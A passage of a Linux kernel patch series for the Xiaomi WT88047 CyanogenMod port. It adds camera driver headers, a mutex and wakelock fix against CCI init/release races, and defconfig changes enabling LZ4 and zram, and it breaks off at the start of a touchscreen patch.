BASE_VIDIOC_PRIVATE+14, struct msm_vfe_cfg_cmd_list) + +#endif /* __MSMB_ISP__ */ diff --git a/include/media/msmb_ispif.h b/include/media/msmb_ispif.h index 2564c33b7b31e..b512dc9a8547e 100644 --- a/include/media/msmb_ispif.h +++ b/include/media/msmb_ispif.h @@ -101,7 +101,9 @@ enum ispif_cfg_type_t { ISPIF_INIT, ISPIF_CFG, ISPIF_START_FRAME_BOUNDARY, +#ifndef CONFIG_WT88047_CAMERA ISPIF_RESTART_FRAME_BOUNDARY, +#endif ISPIF_STOP_FRAME_BOUNDARY, ISPIF_STOP_IMMEDIATELY, ISPIF_RELEASE, diff --git a/include/media/msmb_pproc.h b/include/media/msmb_pproc.h index 0161ed30f196e..0ff4e43b41a07 100644 --- a/include/media/msmb_pproc.h +++ b/include/media/msmb_pproc.h @@ -1,3 +1,7 @@ +#ifdef CONFIG_WT88047_CAMERA +#include +#else + #ifndef __MSMB_PPROC_H #define __MSMB_PPROC_H @@ -427,3 +431,5 @@ struct msm_camera_v4l2_ioctl32_t { #endif #endif /* __MSMB_PPROC_H */ + +#endif /* CONFIG_WT88047_CAMERA */ diff --git a/include/media/msmb_pproc_wt88047.h b/include/media/msmb_pproc_wt88047.h new file mode 100644 index 0000000000000..94a48a7d527f5 --- /dev/null +++ b/include/media/msmb_pproc_wt88047.h @@ -0,0 +1,399 @@ +#ifndef __MSMB_PPROC_H +#define __MSMB_PPROC_H + +#ifdef MSM_CAMERA_BIONIC +#include +#endif +#include +#include +#include + +/* Should be same as VIDEO_MAX_PLANES in videodev2.h */ +#define MAX_PLANES VIDEO_MAX_PLANES + +#define MAX_NUM_CPP_STRIPS 8 +#define MSM_CPP_MAX_NUM_PLANES 3 +#define MSM_CPP_MAX_FRAME_LENGTH 1024 +#define MSM_CPP_MAX_FW_NAME_LEN 32 +#define MAX_FREQ_TBL 10 + + +enum msm_cpp_frame_type { + MSM_CPP_OFFLINE_FRAME, + MSM_CPP_REALTIME_FRAME, +}; + +enum msm_vpe_frame_type { + MSM_VPE_OFFLINE_FRAME, + MSM_VPE_REALTIME_FRAME, +}; + +struct msm_cpp_frame_strip_info { + uint32_t scale_v_en; + uint32_t scale_h_en; + + uint32_t upscale_v_en; + uint32_t upscale_h_en; + + int32_t src_start_x; + uint32_t src_end_x; + int32_t src_start_y; + uint32_t src_end_y; + + int32_t temporal_src_start_x; + uint32_t temporal_src_end_x; + int32_t temporal_src_start_y; + uint32_t temporal_src_end_y; + + /* Padding is required for upscaler because it does not + * pad internally like other blocks, also needed for rotation + * rotation expects all the blocks in the stripe to be the same size + * Padding is done such that all the extra padded pixels + * are on the right and bottom + */ + uint32_t pad_bottom; + uint32_t pad_top; + uint32_t pad_right; + uint32_t pad_left; + + uint32_t v_init_phase; + uint32_t h_init_phase; + uint32_t h_phase_step; + uint32_t v_phase_step; + + uint32_t spatial_denoise_crop_width_first_pixel; + uint32_t spatial_denoise_crop_width_last_pixel; + uint32_t spatial_denoise_crop_height_first_line; + uint32_t spatial_denoise_crop_height_last_line; + + uint32_t sharpen_crop_height_first_line; + uint32_t sharpen_crop_height_last_line; + uint32_t sharpen_crop_width_first_pixel; + uint32_t sharpen_crop_width_last_pixel; + + uint32_t temporal_denoise_crop_width_first_pixel; + uint32_t temporal_denoise_crop_width_last_pixel; + uint32_t temporal_denoise_crop_height_first_line; + uint32_t temporal_denoise_crop_height_last_line; + + uint32_t prescaler_spatial_denoise_crop_width_first_pixel; + uint32_t prescaler_spatial_denoise_crop_width_last_pixel; + uint32_t prescaler_spatial_denoise_crop_height_first_line; + uint32_t prescaler_spatial_denoise_crop_height_last_line; + + uint32_t state_crop_width_first_pixel; + uint32_t state_crop_width_last_pixel; + uint32_t state_crop_height_first_line; + uint32_t state_crop_height_last_line; + + int32_t dst_start_x; + uint32_t dst_end_x; + int32_t dst_start_y; + uint32_t dst_end_y; + + int32_t temporal_dst_start_x; + uint32_t temporal_dst_end_x; + int32_t temporal_dst_start_y; + uint32_t temporal_dst_end_y; + + uint32_t input_bytes_per_pixel; + uint32_t output_bytes_per_pixel; + uint32_t temporal_bytes_per_pixel; + + unsigned int source_address[2]; + unsigned int destination_address[2]; + /* source_address[1] is used for CbCR planar + * to CbCr interleaved conversion + */ + unsigned int temporal_source_address[2]; + /* destination_address[1] is used for CbCr interleved + * to CbCr planar conversion + */ + unsigned int temporal_destination_address[2]; + unsigned int src_stride; + unsigned int dst_stride; + uint32_t rotate_270; + uint32_t horizontal_flip; + uint32_t vertical_flip; + uint32_t scale_output_width; + uint32_t scale_output_height; + uint32_t spatial_denoise_crop_en; + uint32_t sharpen_crop_en; + uint32_t temporal_denoise_crop_en; + uint32_t prescaler_spatial_denoise_crop_en; + uint32_t state_crop_en; +}; + +struct msm_cpp_buffer_info_t { + int fd; + uint32_t index; + uint32_t offset; + uint8_t native_buff; + uint8_t processed_divert; + uint32_t identity; +}; + +struct msm_cpp_stream_buff_info_t { + uint32_t identity; + uint32_t num_buffs; + struct msm_cpp_buffer_info_t *buffer_info; +}; + +struct msm_cpp_frame_info_t { + int32_t frame_id; + struct timeval timestamp; + uint32_t inst_id; + uint32_t identity; + uint32_t client_id; + enum msm_cpp_frame_type frame_type; + uint32_t num_strips; + struct msm_cpp_frame_strip_info *strip_info; + uint32_t msg_len; + uint32_t *cpp_cmd_msg; + int src_fd; + int dst_fd; + struct ion_handle *src_ion_handle; + struct ion_handle *dest_ion_handle; + struct timeval in_time, out_time; + void *cookie; + int32_t *status; + int32_t duplicate_output; + uint32_t duplicate_identity; + struct msm_cpp_buffer_info_t input_buffer_info; + struct msm_cpp_buffer_info_t output_buffer_info[2]; +}; + +struct cpp_hw_info { + uint32_t cpp_hw_version; + uint32_t cpp_hw_caps; + unsigned long freq_tbl[MAX_FREQ_TBL]; + uint32_t freq_tbl_count; +}; + +struct msm_vpe_frame_strip_info { + uint32_t src_w; + uint32_t src_h; + uint32_t dst_w; + uint32_t dst_h; + uint32_t src_x; + uint32_t src_y; + uint32_t phase_step_x; + uint32_t phase_step_y; + uint32_t phase_init_x; + uint32_t phase_init_y; +}; + +struct msm_vpe_buffer_info_t { + int fd; + uint32_t index; + uint32_t offset; + uint8_t native_buff; + uint8_t processed_divert; +}; + +struct msm_vpe_stream_buff_info_t { + uint32_t identity; + uint32_t num_buffs; + struct msm_vpe_buffer_info_t *buffer_info; +}; + +struct msm_vpe_frame_info_t { + int32_t frame_id; + struct timeval timestamp; + uint32_t inst_id; + uint32_t identity; + uint32_t client_id; + enum msm_vpe_frame_type frame_type; + struct msm_vpe_frame_strip_info strip_info; + int src_fd; + int dst_fd; + struct ion_handle *src_ion_handle; + struct ion_handle *dest_ion_handle; + unsigned long src_phyaddr; + unsigned long dest_phyaddr; + unsigned long src_chroma_plane_offset; + unsigned long dest_chroma_plane_offset; + struct timeval in_time, out_time; + void *cookie; + + struct msm_vpe_buffer_info_t input_buffer_info; + struct msm_vpe_buffer_info_t output_buffer_info; +}; + +struct msm_pproc_queue_buf_info { + struct msm_buf_mngr_info buff_mgr_info; + uint8_t is_buf_dirty; +}; + +#define VIDIOC_MSM_CPP_CFG \ + _IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_CPP_GET_EVENTPAYLOAD \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 1, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_CPP_GET_INST_INFO \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 2, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_CPP_LOAD_FIRMWARE \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 3, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_CPP_GET_HW_INFO \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 4, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_CPP_FLUSH_QUEUE \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 5, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 7, struct msm_camera_v4l2_ioctl_t) + + +#define VIDIOC_MSM_VPE_CFG \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 8, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_VPE_TRANSACTION_SETUP \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 9, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_VPE_GET_EVENTPAYLOAD \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 10, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_VPE_GET_INST_INFO \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 11, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_VPE_ENQUEUE_STREAM_BUFF_INFO \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 12, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_VPE_DEQUEUE_STREAM_BUFF_INFO \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 13, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_CPP_QUEUE_BUF \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 14, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_CPP_APPEND_STREAM_BUFF_INFO \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 15, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_CPP_SET_CLOCK \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 16, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_CPP_POP_STREAM_BUFFER \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 17, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_CPP_IOMMU_ATTACH \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 18, struct msm_camera_v4l2_ioctl_t) + +#define VIDIOC_MSM_CPP_IOMMU_DETACH \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 19, struct msm_camera_v4l2_ioctl_t) + +#define V4L2_EVENT_CPP_FRAME_DONE (V4L2_EVENT_PRIVATE_START + 0) +#define V4L2_EVENT_VPE_FRAME_DONE (V4L2_EVENT_PRIVATE_START + 1) + +struct msm_camera_v4l2_ioctl_t { + uint32_t id; + uint32_t len; + int32_t trans_code; + void __user *ioctl_ptr; +}; + +#ifdef CONFIG_COMPAT +struct msm_cpp_frame_info32_t { + int32_t frame_id; + struct compat_timeval timestamp; + uint32_t inst_id; + uint32_t identity; + uint32_t client_id; + enum msm_cpp_frame_type frame_type; + uint32_t num_strips; + compat_caddr_t strip_info; + uint32_t msg_len; + compat_uint_t cpp_cmd_msg; + int src_fd; + int dst_fd; + struct compat_timeval in_time, out_time; + compat_caddr_t cookie; + compat_int_t status; + int32_t duplicate_output; + uint32_t duplicate_identity; + struct msm_cpp_buffer_info_t input_buffer_info; + struct msm_cpp_buffer_info_t output_buffer_info[2]; + struct msm_cpp_buffer_info_t tnr_scratch_buffer_info[2]; +}; + +struct msm_cpp_stream_buff_info32_t { + uint32_t identity; + uint32_t num_buffs; + compat_caddr_t buffer_info; +}; + +struct msm_pproc_queue_buf_info32_t { + struct msm_buf_mngr_info32_t buff_mgr_info; + uint8_t is_buf_dirty; +}; + +#define VIDIOC_MSM_CPP_CFG32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_CPP_GET_EVENTPAYLOAD32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 1, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_CPP_GET_INST_INFO32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 2, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_CPP_LOAD_FIRMWARE32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 3, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_CPP_GET_HW_INFO32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 4, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_CPP_FLUSH_QUEUE32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 5, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 7, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_VPE_CFG32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 8, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_VPE_TRANSACTION_SETUP32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 9, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_VPE_GET_EVENTPAYLOAD32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 10, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_VPE_GET_INST_INFO32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 11, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_VPE_ENQUEUE_STREAM_BUFF_INFO32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 12, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_VPE_DEQUEUE_STREAM_BUFF_INFO32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 13, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_CPP_QUEUE_BUF32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 14, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_CPP_SET_CLOCK32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 16, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_CPP_POP_STREAM_BUFFER32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 17, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_CPP_IOMMU_ATTACH32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 18, struct msm_camera_v4l2_ioctl32_t) + +#define VIDIOC_MSM_CPP_IOMMU_DETACH32 \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 19, struct msm_camera_v4l2_ioctl32_t) + +struct msm_camera_v4l2_ioctl32_t { + uint32_t id; + uint32_t len; + int32_t trans_code; + compat_caddr_t ioctl_ptr; +}; +#endif + +#endif /* __MSMB_PPROC_H */ diff --git a/include/media/videobuf2-core.h b/include/media/videobuf2-core.h index 00d3f07d2ec20..3498d9f15c93f 100644 --- a/include/media/videobuf2-core.h +++ b/include/media/videobuf2-core.h @@ -18,7 +18,11 @@ #include #include +#ifdef CONFIG_WT88047_CAMERA +#define VB2_MAX_FRAME 32 +#else #define VB2_MAX_FRAME 64 +#endif struct vb2_alloc_ctx; struct vb2_fileio_data; diff --git a/include/soc/qcom/camera2.h b/include/soc/qcom/camera2.h index eec97daa0ec6f..376312fe24e15 100644 --- a/include/soc/qcom/camera2.h +++ b/include/soc/qcom/camera2.h @@ -146,7 +146,9 @@ struct msm_camera_sensor_board_info { const char *sensor_name; const char *eeprom_name; const char *actuator_name; +#ifndef CONFIG_WT88047_CAMERA const char *ois_name; +#endif const char *special_support_sensors[MAX_SPECIAL_SUPPORT_SIZE]; int32_t special_support_size; struct msm_camera_slave_info *slave_info; @@ -219,7 +221,9 @@ struct msm_eeprom_board_info { uint16_t i2c_slaveaddr; struct msm_camera_power_ctrl_t power_info; struct msm_eeprom_cmm_t cmm_data; +#ifndef CONFIG_WT88047_CAMERA enum i2c_freq_mode_t i2c_freq_mode; +#endif }; #endif diff --git a/include/uapi/media/Kbuild b/include/uapi/media/Kbuild index c7edce8c549ea..9245621d41239 100644 --- a/include/uapi/media/Kbuild +++ b/include/uapi/media/Kbuild @@ -12,10 +12,13 @@ header-y += msm_media_info.h header-y += msm_vidc.h header-y += msmb_camera.h header-y += msm_cam_sensor.h +header-y += msm_cam_sensor_wt88047.h header-y += msm_camsensor_sdk.h header-y += msmb_isp.h +header-y += msmb_isp_wt88047.h header-y += msmb_ispif.h header-y += msmb_generic_buf_mgr.h header-y += msmb_pproc.h +header-y += msmb_pproc_wt88047.h header-y += msm_vpu.h header-y += msm_fd.h diff --git a/include/uapi/media/msm_camera.h b/include/uapi/media/msm_camera.h index 3aff71ef61d48..14e842593a1de 100644 --- a/include/uapi/media/msm_camera.h +++ b/include/uapi/media/msm_camera.h @@ -1609,6 +1609,9 @@ struct msm_camera_csi_lane_params { struct camera_vreg_t { const char *reg_name; +#ifdef CONFIG_WT88047_CAMERA + enum camera_vreg_type type; +#endif int min_voltage; int max_voltage; int op_mode; From 97358ecd4597a53c4b721bdc335a63d0cd5dad23 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 14 Sep 2015 16:35:58 +0700 Subject: [PATCH 025/365] msm: camera: Avoid ref_count chaos If cci_init and cci_release concurrency happened Taken from OPPO's camera driver Credit: Michael Bestas Change-Id: If2b58464b860a11d4acce31fb9ff795de48279bf --- .../camera_wt88047_v2/sensor/cci/msm_cci.c | 69 +++++++++++++++++++ .../camera_wt88047_v2/sensor/cci/msm_cci.h | 10 +++ 2 files changed, 79 insertions(+) diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c index fbadaa9b16d31..737b030794b9d 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c @@ -50,6 +50,11 @@ static struct v4l2_subdev *g_cci_subdev; +#ifdef CONFIG_MACH_WT88047 +/*hufeng 2014-11-05 add to aviod ref_count chaos if cci_init and cci_release concurrency happened*/ +static struct mutex ref_count_lock; +#endif + static struct msm_cam_clk_info cci_clk_info[CCI_NUM_CLK_MAX]; static void msm_cci_set_clk_param(struct cci_device *cci_dev, @@ -491,6 +496,13 @@ static int32_t msm_cci_i2c_read_bytes(struct v4l2_subdev *sd, pr_err("%s:%d Invalid I2C master addr\n", __func__, __LINE__); return -EINVAL; } +#ifdef CONFIG_MACH_WT88047 +/*hufeng 2014-11-05 add to avoid cci read or write if cci_dev is already released*/ + if (cci_dev->cci_state == CCI_STATE_DISABLED){ + pr_err("%s:%d cci state is DISABLED!\n", __func__, __LINE__); + return -EINVAL; + } +#endif master = c_ctrl->cci_info->cci_i2c_master; read_cfg = &c_ctrl->cfg.cci_i2c_read_cfg; @@ -537,6 +549,14 @@ static int32_t msm_cci_i2c_write(struct v4l2_subdev *sd, pr_err("%s:%d Invalid I2C master addr\n", __func__, __LINE__); return -EINVAL; } +#ifdef CONFIG_MACH_WT88047 +/*hufeng 2014-11-05 add to avoid cci read or write if cci_dev is already released*/ + if (cci_dev->cci_state == CCI_STATE_DISABLED){ + pr_err("%s:%d cci state is DISABLED!\n", __func__, __LINE__); + return -EINVAL; + } +#endif + master = c_ctrl->cci_info->cci_i2c_master; CDBG("%s master %d, queue %d\n", __func__, master, queue); CDBG("%s set param sid 0x%x retries %d id_map %d\n", __func__, @@ -720,6 +740,12 @@ static int32_t msm_cci_init(struct v4l2_subdev *sd, } return 0; } + +/*Added by Jinshui.Liu@Camera 20140221 start for cci error*/ +#ifdef CONFIG_MACH_WT88047 + wake_lock(&cci_dev->cci_wakelock); +#endif +/*Added by Jinshui.Liu@Camera 20140221 end*/ ret = msm_cci_pinctrl_init(cci_dev); if (ret < 0) { pr_err("%s:%d Initialization of pinctrl failed\n", @@ -829,6 +855,12 @@ static int32_t msm_cci_release(struct v4l2_subdev *sd) cci_dev->cci_gpio_tbl_size, 0); for (i = 0; i < MASTER_MAX; i++) cci_dev->master_clk_init[i] = 0; + +/*Added by Jinshui.Liu@Camera 20140221 start for cci error*/ +#ifdef CONFIG_MACH_WT88047 + wake_unlock(&cci_dev->cci_wakelock); +#endif +/*Added by Jinshui.Liu@Camera 20140221 end*/ cci_dev->cci_state = CCI_STATE_DISABLED; return 0; @@ -842,16 +874,44 @@ static int32_t msm_cci_config(struct v4l2_subdev *sd, cci_ctrl->cmd); switch (cci_ctrl->cmd) { case MSM_CCI_INIT: +#ifdef CONFIG_MACH_WT88047 +/*hufeng 2014-11-05 add to aviod ref_count chaos if cci_init and cci_release concurrency happened*/ + mutex_lock(&ref_count_lock); rc = msm_cci_init(sd, cci_ctrl); + mutex_unlock(&ref_count_lock); +#else + rc = msm_cci_init(sd, cci_ctrl); +#endif break; case MSM_CCI_RELEASE: +#ifdef CONFIG_MACH_WT88047 +/*hufeng 2014-11-05 add to aviod ref_count chaos if cci_init and cci_release concurrency happened*/ + mutex_lock(&ref_count_lock); + rc = msm_cci_release(sd); + mutex_unlock(&ref_count_lock); +#else rc = msm_cci_release(sd); +#endif break; case MSM_CCI_I2C_READ: +#ifdef CONFIG_MACH_WT88047 +/*hufeng 2014-11-05 add to aviod ref_count chaos if cci_init and cci_release concurrency happened*/ + mutex_lock(&ref_count_lock); + rc = msm_cci_i2c_read_bytes(sd, cci_ctrl); + mutex_unlock(&ref_count_lock); +#else rc = msm_cci_i2c_read_bytes(sd, cci_ctrl); +#endif break; case MSM_CCI_I2C_WRITE: +#ifdef CONFIG_MACH_WT88047 +/*hufeng 2014-11-05 add to aviod ref_count chaos if cci_init and cci_release concurrency happened*/ + mutex_lock(&ref_count_lock); + rc = msm_cci_i2c_write(sd, cci_ctrl); + mutex_unlock(&ref_count_lock); +#else rc = msm_cci_i2c_write(sd, cci_ctrl); +#endif break; case MSM_CCI_GPIO_WRITE: break; @@ -1300,6 +1360,15 @@ static int msm_cci_probe(struct platform_device *pdev) g_cci_subdev = &new_cci_dev->msm_sd.sd; CDBG("%s cci subdev %p\n", __func__, &new_cci_dev->msm_sd.sd); CDBG("%s line %d\n", __func__, __LINE__); +/*Added by Jinshui.Liu@Camera 20140221 start for cci error*/ +#ifdef CONFIG_MACH_WT88047 + wake_lock_init(&new_cci_dev->cci_wakelock,WAKE_LOCK_SUSPEND,"msm_cci_wakelock"); +#endif +/*Added by Jinshui.Liu@Camera 20140221 end*/ +#ifdef CONFIG_MACH_WT88047 +/*hufeng 2014-11-05 add to aviod ref_count chaos if cci_init and cci_release concurrency happened*/ + mutex_init(&ref_count_lock); +#endif return 0; cci_release_mem: diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h index c1fb0560ebf95..f2af03ca08810 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h @@ -20,6 +20,11 @@ #include #include #include "msm_sd.h" +/*Added by Jinshui.Liu@Camera 20140221 start for cci error*/ +#ifdef CONFIG_MACH_WT88047 +#include +#endif +/*Added by Jinshui.Liu@Camera 20140221 end*/ #define NUM_MASTERS 2 #define NUM_QUEUES 2 @@ -143,6 +148,11 @@ struct cci_device { uint8_t master_clk_init[MASTER_MAX]; struct msm_pinctrl_info cci_pinctrl; uint8_t cci_pinctrl_status; +/*Added by Jinshui.Liu@Camera 20140221 start for cci error*/ +#ifdef CONFIG_MACH_WT88047 + struct wake_lock cci_wakelock; +#endif +/*Added by Jinshui.Liu@Camera 20140221 end*/ }; enum msm_cci_i2c_cmd_type { From ebf05a8796712b8ea6e04cab2365db3624a0a5d4 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 5 Oct 2015 23:21:05 +0700 Subject: [PATCH 026/365] wt88047: Enable WT88047 camera driver Change-Id: Ia374b0e66bbd78a288a0e8c1d772cf40c5d05b70 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 1 + 1 file changed, 1 insertion(+) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 9c37ee937b69d..305a3dc2b54b4 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -2176,6 +2176,7 @@ CONFIG_V4L_PLATFORM_DRIVERS=y # CONFIG_MSM_CAMERA is not set CONFIG_MSMB_CAMERA=y # CONFIG_MSMB_CAMERA_DEBUG is not set +CONFIG_WT88047_CAMERA=y CONFIG_MSM_CAMERA_SENSOR=y CONFIG_MSM_CPP=y CONFIG_MSM_CCI=y From 2ed0bb774ae2dced26f6f08493c64d069dfe2f2a Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 11 Oct 2015 00:22:27 +0700 Subject: [PATCH 027/365] wt88047: Update config Change-Id: Id08656293484638aa38125a06e50f744df03019b --- .../arm/configs/cyanogenmod_wt88047_defconfig | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 305a3dc2b54b4..9d99740c7046b 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -38,10 +38,12 @@ CONFIG_HAVE_KERNEL_GZIP=y CONFIG_HAVE_KERNEL_LZMA=y CONFIG_HAVE_KERNEL_XZ=y CONFIG_HAVE_KERNEL_LZO=y +CONFIG_HAVE_KERNEL_LZ4=y CONFIG_KERNEL_GZIP=y # CONFIG_KERNEL_LZMA is not set # CONFIG_KERNEL_XZ is not set # CONFIG_KERNEL_LZO is not set +# CONFIG_KERNEL_LZ4 is not set CONFIG_DEFAULT_HOSTNAME="(none)" CONFIG_SWAP=y CONFIG_SYSVIPC=y @@ -140,6 +142,7 @@ CONFIG_RD_BZIP2=y CONFIG_RD_LZMA=y # CONFIG_RD_XZ is not set # CONFIG_RD_LZO is not set +# CONFIG_RD_LZ4 is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_SYSCTL=y CONFIG_ANON_INODES=y @@ -492,9 +495,12 @@ CONFIG_CROSS_MEMORY_ATTACH=y # CONFIG_FRONTSWAP is not set CONFIG_MEMORY_HOLE_CARVEOUT=y # CONFIG_USE_USER_ACCESSIBLE_TIMERS is not set -# CONFIG_ZBUD is not set # CONFIG_BALANCE_ANON_FILE_RECLAIM is not set CONFIG_PROCESS_RECLAIM=y +# CONFIG_ZPOOL is not set +# CONFIG_ZBUD is not set +CONFIG_ZSMALLOC=y +CONFIG_PGTABLE_MAPPING=y # CONFIG_ENABLE_VMALLOC_SAVING is not set CONFIG_NO_VM_RECLAIM=y CONFIG_FORCE_MAX_ZONEORDER=11 @@ -1131,6 +1137,9 @@ CONFIG_OF_BATTERYDATA=y CONFIG_OF_RESERVED_MEM=y # CONFIG_PARPORT is not set CONFIG_BLK_DEV=y +CONFIG_ZRAM=y +CONFIG_ZRAM_LZ4_COMPRESS=y +# CONFIG_ZRAM_DEBUG is not set # CONFIG_BLK_DEV_COW_COMMON is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 @@ -2196,17 +2205,14 @@ CONFIG_MSM_ISPIF=y # CONFIG_OV5648 is not set # CONFIG_MT9M114 is not set # CONFIG_OV5645 is not set -# CONFIG_OV7695 is not set # CONFIG_SP1628 is not set # CONFIG_GC0339 is not set -# CONFIG_GC0310 is not set # CONFIG_OV8825 is not set # CONFIG_OV8865 is not set # CONFIG_s5k4e1 is not set # CONFIG_OV12830 is not set # CONFIG_MSM_V4L2_VIDEO_OVERLAY_DEVICE is not set CONFIG_MSMB_JPEG=y -# CONFIG_MSM_FD is not set CONFIG_MSM_VIDC_V4L2=y # CONFIG_MSM_VIDC_VMEM is not set # CONFIG_MSM_WFD is not set @@ -3022,9 +3028,6 @@ CONFIG_STAGING=y # CONFIG_TRANZPORT is not set # CONFIG_LINE6_USB is not set # CONFIG_USB_SERIAL_QUATECH2 is not set -CONFIG_ZSMALLOC=y -CONFIG_ZRAM=y -# CONFIG_ZRAM_DEBUG is not set # CONFIG_BCM_WIMAX is not set # CONFIG_FT1000 is not set @@ -3730,6 +3733,8 @@ CONFIG_ZLIB_INFLATE=y CONFIG_ZLIB_DEFLATE=y CONFIG_LZO_COMPRESS=y CONFIG_LZO_DECOMPRESS=y +CONFIG_LZ4_COMPRESS=y +CONFIG_LZ4_DECOMPRESS=y # CONFIG_XZ_DEC is not set # CONFIG_XZ_DEC_BCJ is not set CONFIG_DECOMPRESS_GZIP=y From 9ffc2f98247014e9e7fb504abdf47c3ef9239267 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sun, 11 Oct 2015 01:28:42 +0700 Subject: [PATCH 028/365] input: ft5x06_ts: Don't perform resume if panel was not yet blanked * On startup the FB blank notifier receives 2 unblank notifications which the touchscreen should not respond to, since no corresponding blank notification has yet been issued. Based on Ethan Chen patch for gsl_ts Change-Id: Ib90e2132be3b7df7aa0063b5697cf032a6f101ec --- drivers/input/touchscreen/ft5x06_ts.c | 10 +++++++--- 1 file changed, 7 insertions(+), 